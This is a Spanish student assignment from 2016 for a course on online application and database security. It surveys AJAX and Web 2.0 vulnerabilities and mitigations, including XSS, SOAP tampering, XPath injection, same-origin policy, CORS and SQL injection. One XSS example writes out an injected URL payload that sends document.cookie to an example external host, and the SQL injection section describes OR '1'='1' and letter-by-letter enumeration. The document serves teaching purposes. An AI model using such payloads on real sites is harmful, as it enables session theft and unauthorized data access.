actividad 1

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Actividades Trabajo: Seguridad en AJAX Descripción de la actividad Realización de un trabajo para recopilar los problemas de seguridad que presenta la tecnología WEB 2.0 AJAX y las posibles soluciones a los mismos. Pautas de elaboración Esta actividad sobre seguridad en aplicaciones Ajax abarca los problemas de seguridad que tienen este tipo de aplicaciones, que caen en la categoría denominada rich internet applications y en las posibles soluciones a los mismos. Hay que consultar cuantas fuentes relativas al tema se considere y sintetizar la información relevante sin limitarse a copiar el contenido de alguna de ellas. Criterios de valoración Se valorará (para todas las actividades): Contenidos. Para la realización de los trabajos se deben consultar varias fuentes para después contrastarlas, sintetizarlas y generar un trabajo y opinión personalizados aportando ejemplos gráficos. Estructura del documento. Debe ser planificada previamente y tener un apartado de conclusiones y de referencias al final. Presentación acorde con la categoría del curso. Referencias. Se deben especificar en un apartado al final todas las fuentes consultadas, URL’s de internet, papers, artículos o libros especificando todos los datos de la publicación disponibles. Recalcar la obligatoriedad de la especificación de las referencias consultadas. Extensión máxima: 10-15 páginas (fuente Georgia 11 e interlineado 1,5).

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

DESARROLLO Las tecnologías Web 2.0 permiten abrir nuevos canales de comunicación y mejorar la usabilidad de las aplicaciones Web, haciendo que éstas sean más amigables e interactivas a través de funcionalidades como redes sociales, wikis, blogs y servicios interactivos. Las aplicaciones se conforman por un mayor número de componentes, normalmente con tareas muy pequeñas lo que aumenta su complejidad y cada uno de ellos deberá ser protegido ya que pueden ser sujetos de posibles ataques, tarea que se vuelve más difícil aumentando su vulnerabilidad y de igual manera la complejidad de realizar un hacking ético adecuado como medida de prevención a posibles ataques. Para algunos usuarios de la web 2.0 la seguridad es un tema irrelevante, esta opinión se convierte

en algo que para otros usuarios es una ventaja aprovechándose de los

mismos al usar los blogs para insertar un código HTML malicioso, archivos con virus o gusanos por el solo hecho de no dar la importancia y prestar atención a los cuidados mínimos a una de las tantas ventanas que tiene el ciberespacio de cara a nuestra información. Aunque muchas organizaciones han encontrado formas, aplicaciones y herramientas para darle un buen uso a la web 2.0, los directores de IT y seguridad de la información han empezado a preocuparse por los riesgos que representa los malware, la perdida de datos y otros aspectos que hacen parte de la seguridad de la información como activo más importante. Las soluciones de seguridad tradicionales como los antivirus no pueden incluso evadir la detección de antivirus. A través de sentencias de comandos activos, códigos maliciosos y tácticas de ingeniería social. La seguridad de la web 2.0 requiere de un análisis y categorización en tiempo real de contenidos web que deben ser monitoreados al vuelo. Sin embargo y a pesar de todas las medidas los profesionales de TI, deben prevenir que los empleados de las organizaciones empresariales carguen contenidos con derechos de propiedad intelectual, secretos comerciales, o cualquier otra información sensible a blogs, sitios en la nube o aplicaciones web 2.0. Desafortunadamente y muy a pesar de

TEMA 1 – Actividades

Asignatura

Datos del alumno

Seguridad en Aplicaciones Online y Bases de Datos

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

las herramientas suministradas por la misma tecnología el factor humano es una amenaza con la que los profesionales de TI no pueden contrarrestar. Si hablamos de las posibilidades con los que cuenta un atacante de vulnerar esta información citamos los feed. Estos son un medio por el cual los usuarios pueden leer las entradas de un sitio Web o parte de ellas, un archivo que contiene la información del contenido del blog y que se actualiza de forma automática. En los blogs los estos pueden emitir fugas de información, así como también riesgos frente a la explotación de vulnerabilidades de feeds maliciosos, a esto se suma su falta de trasparencia y desconocimiento en fuentes reales de RSS y mashups. La capacidad de lectura-escritura de la Web 2.0 permite integrar protocolos tales como Ajax entre distintos entornos. Esta capacidad también puede exponer a los clientes y servidores a ataques que pueden traspasar fácilmente los firewalls tradicionales. La tendencia hacia el contenido Web auto-actualizable tiene sus pros y sus contras. Al permitir el acceso, la ejecución y la agregación de contenidos desde el cliente, se abre una nueva puerta en la que los atacantes pueden engañar a los usuarios y dirigirles a programas malintencionados que pueden infiltrarse en las redes corporativas. Por ejemplo, Ajax permite emitir de forma asincrónica llamadas JavaScript desde un navegador. Sin embargo, la descarga de JavaScript desde sitios que no sean de confianza puede permitir a los atacantes ejecutar llamadas Ajax malintencionadas en los navegadores. Los ataques de scripts entre sitios pueden apropiarse de cuentas de usuario, lanzar intentos de phishing y ejecutar programas malintencionados en los sistemas de los usuarios. Entre los ataques más relevantes a la web 2.0 podemos encontrar. WSDL Scanning Este ataque se dirige a la interfaz WSDL puesta a disposición por un servicio web. El atacante puede escanear la interfaz WSDL para revelar información sensible acerca de patrones

de

invocación,

implementaciones

tecnológicas

subyacentes

y

las

vulnerabilidades asociadas. Este tipo de sondeo se lleva a cabo para realizar ataques más graves (por ejemplo, la manipulación de parámetros, inyección malicioso TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

contenido, inyección de comandos, etc.). archivos WSDL proporcionan información detallada sobre los puertos de servicios y enlaces disponibles para los consumidores. Por ejemplo, el atacante puede enviar caracteres especiales o contenido malicioso al servicio Web y puede causar una denegación de servicio o el acceso ilegal a los registros de base de datos. Además, el atacante puede tratar de adivinar otros métodos privados mediante el uso de la información contenida en los archivos WSDL. [1] SOAP Parameter Tampering Un atacante envía un mensaje SOAP, donde los valores de campo son diferentes de lo que es probable que esperar el fin de precipitar el comportamiento del servidor no estándar del servidor. En un mensaje SOAP, parámetros toman la forma de valores dentro de los elementos XML. El servidor tendrá un esquema XML que indica ciertas restricciones a los valores de estos parámetros. Por ejemplo, el servidor puede esperar un parámetro sea una cadena con menos de 10 caracteres, o un número inferior a 100. En un ataque de parámetros de SOAP manipulación, ya sea un atacante viola este esquema, o se aprovecha de la flexibilidad en el régimen (por ejemplo, la falta de un límite de caracteres) para proporcionar parámetros que el servidor no puede esperar. Ejemplos de parámetros inesperados incluyen datos de gran tamaño, los datos con diferentes tipos de datos, insertar meta caracteres dentro de los datos, y el envío de los datos contextualmente inapropiadas (por ejemplo, enviar el nombre del producto inexistente en un campo de nombre del producto o utilizando un número de secuencia fuera de orden). Los resultados de este ataque pueden incluir la divulgación de información, denegación de servicio, o incluso la ejecución de código arbitrario. [2] Atom injection. Una nueva característica de la" Web 2.0 ", es la facilidad para construir una mayor capacidad de respuesta en la Web, con la utilización de los flujos XML que utilizan los RSS y estándares Atom. Estos permiten a los usuarios y los sitios web para obtener el contenido, titulares y el texto del cuerpo sin la necesidad de visitar el sitio en cuestión, básicamente, proporcionando a los usuarios un resumen de ese contenido sitios. Por desgracia, muchas de las aplicaciones que reciben estos datos no tienen en cuenta las implicaciones de seguridad de uso de contenidos de terceros, y sin saberlo, hacen que ellos y sus sistemas conectados sean susceptibles a diversas formas de ataque. TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Atom injection se trata de un nuevo ataque WEB 2.0. RSS, son un medio común de intercambio de información sobre portales y aplicaciones web, estos datos son almacenados por las aplicaciones web y enviados al navegador del lado del cliente, se puede inyectar JavaScript en el RSS para generar ataques en el navegador portales y aplicaciones web. Aunque es un ataque ejecutado en el lado del cliente puede trascender. [3] XPath Injection Las XPath Injection operan sobre los sitios web que utiliza la información suministrada por el usuario para construir una consulta XPath para los datos XML. Mediante el envío de la información intencionalmente con formato incorrecto en el sitio web, un atacante puede averiguar cómo se estructura de los datos XML, o acceder a datos que puede normalmente no tiene acceso. Él puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utiliza para la autenticación (por ejemplo, un archivo de usuario basada en XML). Las XPath Injection podría ser incluso más peligroso que las inyecciones SQL desde XPath carece de control de acceso y permite la consulta de la base de datos completa (documento XML), mientras que muchas bases de datos SQL tienen mesas meta que no se puede acceder por las consultas regulares. Estas atacan el servicio web mediante la sustitución de los parámetros originales del TestStep con strings maliciosos, diseñados para exponer las posibles deficiencias en los servicios web que están utilizando la entrada del usuario en expresiones XPath. Mediante el uso de afirmaciones, se puede asegurar que el ataque no expuso a datos sensibles, devolver un identificador de sesión, etc. [4] RIA thick client binary manipulation Las RIA thick client binary manipulation utilizan funciones de interfaz de usuario como Flash, ActiveX y controles o applets como sus interfaces primarias a las aplicaciones Web. Uno de sus problemas es la gestión de sesiones ya que se ejecuta en el navegador y comparten una misma sesión, ya que la totalidad del código se descargará en el lado del cliente , un atacante puede realizar ingeniería inversa y descompilar el código. [5]

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

AJAX (Asynchronous Javascript) and XML Es una técnica que permite presentar la información con CSS y DOM. Esta técnica permite crear aplicaciones interactivas ricas, las cuales se ejecutan en el lado del cliente, client-side, en el navegador. El funcionamiento de AJAX es sencillo, mientras la aplicación se ejecuta en el navegador del cliente, la comunicación se lleva a cabo de manera asíncrona en segundo plano con el servidor. Esto permite crear el efecto de que el sitio web va cambiando en función de las necesidades, por la actualización de la información en el servidor, el cual podría ser debido a otras acciones del cliente. Sin embargo esta característica exige un mayor grado de seguridad ya que la comunicación de manera asíncrona entre el cliente y el servidor tiende a estar hecho de código poco seguro, para que la información no se vea comprometida todo el tráfico debe ser debidamente comprobado. Para hablar de la seguridad en AJAX se debe traer en mención de lo que está compuesto ya que su seguridad dependerá de los componentes que lo conforman. La probabilidad y exposición de ataque en el lado del cliente es grande, la revelación de la lógica de la aplicación hace que los posibles atacantes conozcan parte del código ya que reside en esta parte permitiéndoles estudiar e inferir de cierto modo la lógica de esta.El gran número de líneas de código y su dificultad para revisarlas hace que la revisión de las aplicaciones multiplique su dificultad aumentando la vulnerabilidad de la aplicación así como también su auditoria. Ajax como técnica novedosa es utilizada por un sin número de programadores para brindar una experiencia similar a trabajar en “local”, sin embargo y sumado a lo anteriormente mencionado tenemos unas características de seguridad que no han sido solventadas en su totalidad, tales como: - Al existir más “inputs” hay más puntos que proteger - Las funciones internas se encuentran expuestas - No contiene mecanismos de codificación bien definidos cuando un cliente accede a determinados recursos - No es muy seguro a la hora de proteger la información de sesiones y autenticaciones

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Entre las amenazas más notables se tienen el XSS el cual mediante el DOM se puede alterar el contenido de un sitio, modificar la dirección donde los datos o formularios de usuarios son enviados, robo de cookies y credenciales. DOM-Based XSS. Vulnerabilidad de aplicaciones web con el cual un atacante puede robar una sesión, llevara cabo ataques phishing y mucho más. Las vulnerabilidades de scripts de sitios (XSS) se producen cuando: 1. Los datos entran en una aplicación web a través de una fuente no confiable. En el caso de XSS basado en DOM, los datos se leen desde un parámetro de URL u otro valor dentro del explorador, y se escriben en la página con código del cliente. En el caso de XSS reflejado, la fuente no confiable suele ser una solicitud web, mientras que en el caso de XSS persistente (también conocido como almacenado) suele ser una base de datos u otro almacén de datos backend. 2. Los datos se incluyen en el contenido dinámico que se envía a un usuario web sin que se validen. En el caso de XSS basado en DOM, el contenido malintencionado se ejecuta como parte de la creación de DOM (Modelo de objetos de documento), siempre que el explorador de la víctima analice la página HTML.

El contenido malintencionado que se envía al explorador web a menudo adopta la forma de un segmento de código JavaScript, pero también puede incluir código HTML, Flash o cualquier otro tipo de código que el explorador pueda ejecutar. La variedad de los ataques basados en XSS es casi ilimitada, pero suelen incluir la transmisión de datos privados como cookies u otra información de sesión al usuario malintencionado, re direccionando a la víctima a un contenido web que este controla o realizar otras operaciones malintencionadas en el equipo del usuario bajo la apariencia del sitio vulnerable.

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Ejemplo: Propagación "invisible" a través de múltiples peticiones HTTP El código re direccionará la página a un sitio externo, que contiene a su vez otra página con código malicioso justamente después de haberse "logueado" en la página original desde la cual se hizo la petición alert ("SCG09") document.location='http://tiendavirtual.com/pagina1.pl?'%20+document.coo kie Código inyectado: http://tiendavirtual.com/login.php? variable=">document.location='http://ejemplo2.com/foro.php?'+document.c ookie [6] Además de esta en el conjunto de amenazas por las cuales Ajax es susceptible en cuanto a la seguridad de cara a la información del usuario en la web 2.0, se trae en mención las citadas a continuación junto a su ejemplo explícito. Ajax Bridging Por medidas de seguridad, las aplicaciones AJAX solamente dejan conectarse desde el website desde el que proceden. Es decir, -javascript- con Ajax descargado desde una web A, no puede realizar conexiones sobre una web B (externa a la primera). Para permitirlo se utilizan los servicios "bridge" (puente). El "puente" actúa como proxy sobre el servidor Web para "forwardear" el tráfico entre el -javascript- del lado del cliente y la web externa. Es como, un servicio web, para la propia página web. Un atacante puede usar esta "capacidad" para acceder a áreas restringidas. Ejemplo: Denegación de servicio con AJAX: [7]

Ataque a Myspace: Gusano que aprovecha un vector XSS + AJAX: TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

“Samy” utilizaba un vector permitido en los perfiles de los usuarios () de la web de Myspace. A través de AJAX inyecta un virus dentro del perfil de cualquier usuario que estuviera visitando la página infectada, y fuerza al usuario a visitarlo para añadir al usuario "Samy" dentro de su lista de contactos. Aparecían las letras "Samy is my hero" en todos los perfiles de las víctimas y tuvo una propagación muy alta en muy poco tiempo. Registro de propagación: 10/04, 12:34 pm: 73 // 5 hours later, 6:20 pm: 1, 005,831 [8]

Ataque a Yahoo! Mail Server: Gusano que aprovecha un vector XSS + AJAX: El gusano “Yammaner” utiliza un vector XSS con AJAX para tomar ventaja de una vulnerabilidad en el evento "onload" del portal. Cuando un email infectado era abierto, el gusano ejecutaba su código -javascript- malicioso, enviando una copia de si mismo a todos los contactos de Yahoo del usuario infectado. El email infectado utilizaba una dirección "spoofeada" tomada de otras víctimas, lo que hacía al usuario poder "pensar" que se trataba de un email de alguno de sus contactos (ingeniería social). [8] Document.domain La propiedad document.domain se emplea para permitir el acceso entre subdominios del dominio principal de la aplicación. Evidentemente, los navegadores no permiten establecer cualquier valor en esa propiedad, por lo que sólo se puede indicar un valor que corresponda a una parte del subdominio completo donde se encuentra el script. La restricción del acceso a diferentes dominios es más restrictiva de lo que en principio puede parecer. El problema es que los navegadores emplean un método demasiado simple para diferenciar entre dos dominios ya que no permiten ni subdominios ni otros protocolos ni otros puertos. Por ejemplo, si el código JavaScript se descarga desde la siguiente URL: http://www.ejemplo.com/scripts/codigo.js, las funciones y métodos incluidos en ese código no pueden acceder a los recursos contenidos en los siguientes archivos: TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

http://www.ejemplo.com:8080/scripts/codigo2.js https://www.ejemplo.com/scripts/codigo2.js http://192.168.0.1/scripts/codigo2.js http://scripts.ejemplo.com/codigo2.js La solución para el acceso a recursos no originados en el mismo dominio se basa precisamente en esta propiedad. Lo realiza de esta manera: El código alojado en: http://www.ejemplo.com/scritps/codigo1.js Establece la variable document.domain = "ejemplo.com" Por otra parte, el código alojado en: http://scripts.ejemplo.com/codigo2.js Establece la variable document.domain = "ejemplo.com" Los recursos de ambos códigos pueden interactuar entre sí. [9] Un

grave

problema

utilizando

AJAX

entre

nombres

de

dominios

http://scripts.ejemplo.com/codigo2.js es lo que se conoce como Same Origin Policy. Con este problema de seguridad un script obtenido en un origen puede cargar o modificar propiedades del documento desde otro origen no igual al primero. Same Origin Policy (política de origen) Same Origin Policy es una característica de seguridad que se encuentra en la ejecución de JavaScript en los navegadores, así como en otras tecnologías utilizadas en un navegador, por ejemplo de Flash. Básicamente le permite hacer peticiones a páginas dentro del mismo sitio / dominio, mientras que le impide hacer peticiones a páginas en un dominio diferente, otro subdominio o por medio de un protocolo diferente. Esta política de seguridad, nos va a evita muchos ataques desde fuera pero también supone un problema para los desarrolladores debido a que limita los recursos a los que desean acceder. [10] TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

La siguiente situación indica en qué medida podría verse comprometida la integridad de la información. -

Inocencio entra en la página de su banco "misEurillos.com". Inocencio abre otra pestaña para entrar en una tienda online a comprar unos

-

caramelos para la tos: "tengoDeTodo.com". La página de la tienda "tengoDeTodo.com" tiene código JavaScript para intentar robar datos de todos los clientes que entran. Mediante AJAX, hace peticiones a

-

varios bancos conocidos (incluido misEurillos.com). El banco responde con los datos de Inocencio porque la petición AJAX incluye automáticamente las cookies/credenciales que Inocencio tiene aún activas por

-

tener sesión abierta en su banco. El script de la página "tengoDeTodo.com" recibe los datos del banco y se los envía a Malone para realizar sus fechorías. [11]

En este caso el script no podría enviar las peticiones AJAX a los bancos (son orígenes diferentes a "tengoDeTodo.com") ni tendría acceso a las cookies o datos de las otras páginas que Inocencio está viendo. Envenenamiento XML El envenenamiento XML es otro de los problemas de seguridad a los que nos podemos enfrentar. El servidor debe validar todos los datos que recibe, ya que un posible XML malformado puede causar un crash en el servidor provocando una denegación de servicio. La ejecución de código malicioso también debemos tenerlo en cuenta. Las llamadas que se realizan con Ajax ejecutan en backgraund sin ninguna interacción del usuario por lo que el usuario no es consciente de lo que se está realizando en un sitio concreto, aprovechando la web este hecho para realizar un robo de cookies y aun peor de manera silenciosa y poco sospechosa En todo software particularmente en nuestro caso Ajax que requiere de validaciones de cliente enfrenta un mayor grado de amenaza, como una forma de contrarrestarlo podríamos citar la validación tanto en este lado como en el lado del servidor.

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Amenazas y medidas a tener en cuenta:

-

No establecer conexiones con sitios diferentes del nombre de dominio del que se ha obtenido el script de JavaScript, protegiéndolo ante problemas de seguridad y esta medida se conoce como CORS, Cross-Origin Resource Sharing.

Cross Origin Sharing Sources (CORS) Cuando realizamos una petición Ajax, el navegador incluye una cabecera “Origin” en la solicitud de la petición con el servidor origen que está realizando la petición. Cuando usamos el método CORS para evitar los problemas de Cross Domain, lo que estamos haciendo es informar en el servidor destino de los orígenes que pueden realizar peticiones sobre él. Esto lo consigue añadiendo una nueva cabecera en la respuesta de la petición Http, “Access-Control-Allow-Origin” Si la cabecera Origin (request Http) no coincide con la cabecera “Access-ControlAllow-Origin” (response Http), nuestra petición Ajax no podrá acceder.

Ejemplo:

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Una petición Ajax realizada por Facebook mientras los usuarios utilizan el chat. Las cabeceras de petición y respuesta coinciden y la petición consigue realizarse.

[12]

Los ficheros Javascript que se han obtenido desde un sitio en concreto no deben poder acceder a propiedades de otro sitio. -

Se debe tener en cuenta los ataques clásicos como SQLi y XSS por lo que buscarlos especialmente y XSRF, los cuales podrán ser solventados mediante un filtrado correcto o utilización de tokens correctamente en el caso del XSRF.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales.

Esta es la razón por la cual SQL Injection es una amenaza para Ajax. Estas amenazas cobran forma cuando un atacante inserta códigos maliciosos en una zona de la página web poco desarrollada como por ejemplo un formulario, si este es vulnerable todo el contenido de la base de datos puede estar expuesto. El SQL Injection es tan perjudicial TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

en Ajax que al ser mitigado con técnicas de saneamiento basadas en JavaScript no son suficientes frente al ataque de esta explotación.

Para proteger una base de datos cuando se utiliza Ajax se debe validar la entrada del usuario con la validación que se realiza del lado de servidor, de igual manera la cuidadosa declaración de parámetros evitarán este tipo de amenazas y que los valores no ingresan directamente en la base de datos, en su lugar se utiliza una variable de enlace así como también una llamada API para el marcador de posición.

Ejemplo

La consulta en la base de datos será.

SQL Injection Based on 1=1 La consulta anterior es correcta, cuando se ejecuta, la base de datos devuelve el número total de registros en la tabla, puesto que la condición se cumple aunque el nombre de usuario y contraseña sean incorrectos porque la condición OR ‘1’=’1’ se cumple siempre

Ejemplo 2. Averiguar el contenido de los registros

La respuesta de la aplicación es "Nombre de usuario y contraseña correctos.", lo que nos indica que hay un usuario cuyo nombre empieza por "a". En este caso, la consulta a la base de datos habrá sido algo parecido a esto:

TEMA 1 – Actividades

Asignatura

Datos del alumno

Seguridad en Aplicaciones Online y Bases de Datos

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

Podríamos ir alargando la cadena letra a letra hasta encontrar el nombre del usuario. [13] Otras medidas que podríamos citar tendríamos las siguientes:

-

No almacenar jamás datos sensibles o confidenciales en el lado del cliente, este hecho haría que obtenerlos por un atacante fuera algo potencialmente sencillo.

-

Utilización de métodos criptográficos para transmitir datos sensibles o confidenciales entre el cliente y el servidor.

-

La lógica de negocio debe tener el principio de mínima exposición y encontrarse siempre en el lado del servidor.

-

Toda petición realizada con AJAX y que acceda a recursos protegidos deberán encontrarse autenticadas.

-

Validación de todos los campos de entrada y comprobación siempre en el lado del servidor, de otra manera cualquier acción que se valide en el cliente puede ser manipulada, por ejemplo mediante el uso de un proxy.

-

Implantar controles de seguridad como pueden ser autenticación, autorización, e incluso registro de operaciones o logging, siempre en el lado del servidor.

-

Utilizar métodos POST en vez de métodos GET.

-

El código de JavaScript se debe ejecutar mediante el uso de una sandbox, con lo que todo lo malicioso que se intente ejecutar queda aislado y sin acceso a los recursos de interés de la máquina atacada.

Conclusiones - La seguridad de datos confidenciales, como la contabilidad, facturación, es uno de los aspectos que más se debaten, al estar almacenados en servidores ajenos. Si nos centramos en

las pymes es probable que los datos estén en mejor recaudo de

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

servidores de empresas dedicadas a ello que en ordenadores que normalmente son mucho más vulnerables a ataques de virus, troyanos, espías. - Actualmente las amenazas mayores en internet están en el robo de la información, la vulnerabilidad de los datos, así como también en el desarrollo de códigos maliciosos con la finalidad de captar información confidencial y a partir de ella conseguir grandes beneficios. - AJAX, RIA y demás servicios web son tecnologías importantes de la web 2.0 como tecnologías prometedoras, aportan eficacia, eficiencia a las aplicaciones web. Sin embargo detrás de ellas vienen nuevos problemas de seguridad, para contrarrestarlas, los encargados de la seguridad de la información deben recurrir a diferentes técnicas de codificación e implementaciones seguras en la protección de datos, a pesar de estas medidas la concientización de las nuevas herramientas IT, su utilización, ventajas y riesgo para las organizaciones por parte de sus funcionarios y trabajadores se convierte en la mejor arma de defensa contra estos. - AJAX de por sí no presenta problemas de seguridad presentes en el diseño de aplicaciones web, sin embargo el contenido de código de lado del cliente tiende a aumentar considerablemente las amenazas. Este código es visible por parte del usuario, por lo que debemos asegurarnos de no revelar información sensible dentro de él. No solo en cuento a contraseñas de acceso, sino también lógica de negocio o conexiones a bases de datos, todo esto debemos delegarlo a los scripts de lado del servidor. A pesar de esta medida tan elemental y pequeña todavía existen desarrollos que no cumplen este punto, debemos recordar que como desarrolladores de software somos el punto de partida de la seguridad de la información y la protección de la información como el mayor recurso de las organizaciones.

BIBLIOGRAFIA [1] https://capec.mitre.org/data/definitions/95.html

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO

[2]https://capec.mitre.org/data/definitions/280.html

[3] http://www.cgisecurity.com/rss.html

[4] https://www.soapui.org/security-testing/security-

scans/xpath-injection.html [5]

http://www.infosecwriters.com/text_resources/pdf/SShah_Web2 0.pdf [6] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf [7] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf [8] https://issuu.com/dragonjar/docs/cross-site-scripting/137 [9] http://librosweb.es/libro/ajax/capitulo_7/seguridad.html [10] http://www.jquery-tutorial.net/ajax/same-origin-policy/ [11]http://notasjs.blogspot.com.co/2013/09/politica-del-mismo-origen-sameorigin.html [12] http://www.cantabriatic.com/wp-content/uploads/2015/04/peticiones.png [13] http://www.mclibre.org/consultar/php/lecciones/php_db_inyeccion_sql.html

TEMA 1 – Actividades

Asignatura Seguridad en Aplicaciones Online y Bases de Datos

TEMA 1 – Actividades

Datos del alumno

Fecha

Apellidos: OMAR JOSE 3 de abril 2016 Nombre: ORTEGA MORENO